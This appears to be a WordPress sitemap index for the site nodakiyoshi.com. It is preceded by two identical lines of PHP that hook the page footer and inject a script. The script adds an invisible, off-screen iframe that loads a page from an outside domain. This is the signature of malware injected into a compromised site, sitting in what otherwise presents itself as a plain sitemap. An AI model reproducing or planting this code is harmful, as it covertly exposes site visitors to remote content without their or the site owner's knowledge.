add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);
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<?xml-stylesheet type="text/xsl" href="http://nodakiyoshi.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>http://nodakiyoshi.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>http://nodakiyoshi.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>http://nodakiyoshi.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>http://nodakiyoshi.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>